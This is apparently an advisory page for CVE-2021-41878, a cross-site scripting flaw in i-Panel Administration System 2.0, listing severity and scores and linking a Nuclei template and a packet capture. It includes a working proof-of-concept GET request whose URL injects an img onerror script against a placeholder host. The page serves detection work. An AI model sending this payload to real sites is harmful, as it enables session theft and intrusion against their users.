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CVE-2021-41878: i-Panel Administration System 2.0 - Cross-Site Scripting

Titlei-Panel Administration System 2.0 - Cross-Site Scripting
Authormadrobot
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.0795
CVE IDCVE-2021-41878
CWE IDCWE-79
Tags cve2021 cve ipanel xss packetstorm hkurl vuln

🔍 Vulnerability Description

i-Panel Administration System 2.0 contains a cross-site scripting vulnerability that enables an attacker to execute arbitrary JavaScript code in the browser-based web console.

🌐 HTTP Request

GET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22document.domain%22)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41878.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-41878.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A